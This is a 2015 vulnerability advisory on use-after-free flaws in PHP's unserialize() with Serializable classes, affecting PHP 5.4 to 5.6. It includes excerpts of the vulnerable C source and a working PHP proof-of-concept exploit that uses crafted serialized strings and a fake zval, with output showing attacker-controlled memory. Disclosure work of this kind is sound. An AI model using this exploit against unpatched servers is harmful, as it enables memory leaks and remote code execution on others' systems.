Use After Free Vulnerabilities in unserialize()

Taoguang Chen <[@chtg](http://github.com/chtg)> 
Write Date: 2015.7.31 
Release Date: 2015.9.4

Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

  if (ce->unserialize == NULL) {
    zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
    object_init_ex(rval, ce);
  } else if (ce->unserialize(rval, ce, (const unsigned char*)*p,
datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
    return 0;
  }

  (*p) += datalen;

  return finish_nested_data(UNSERIALIZE_PASSTHRU);


The unserialize() with Serializable class lead to various problems.

i) Free the memory via crafted Serializable class


<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
        $this->data = 1;
    }
}

?>


ii) Free the memory via the process_nested_data() with a invalid
serialized string


static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable
*ht, long elements, int objprops)
{
  while (elements-- > 0) {
    zval *key, *data, **old_data;

    ...

    ALLOC_INIT_ZVAL(data);

    if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
      zval_dtor(key);
      FREE_ZVAL(key);
      zval_dtor(data);
      FREE_ZVAL(data);  <===  free the memory
      return 0;
    }


iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().


PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{

  ...
  
  while (var_hash) {
    for (i = 0; i < var_hash->used_slots; i++) {
      zval_ptr_dtor(&var_hash->data[i]);  <===  free the memory
    }
  
  ...
  
PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{

  ...
  
  if (*rval != NULL) {
    var_push_dtor_no_addref(var_hash, rval);
  }
  *rval = *rval_ref;


We can create ZVAL and free it via Serializable::unserialize. However
the unserialize() will still allow to use R: or r: to set references
to that already freed memory. It is possible to use-after-free attack
and execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.


<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

// i)
//$inner = 'a:1:{i:0;i:1;}';
//$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
// ii)
$inner = 'a:2:{i:0;i:1;i:1;i:2';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';
// iii)
//$inner = 'r:1;';
//$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
  $out = "";
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}

class obj implements Serializable {
  var $data;
  function serialize() {
    return serialize($this->data);
  }
  function unserialize($data) {
        $this->data = unserialize($data);
//    i)
//    $this->data = '1';
  }
}

?>


Test the PoC on the command line:


$ php uafpoc.php
array(2) {
  [0]=>
  object(obj)#1 (1) {
    ["data"]=>
    bool(false)
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}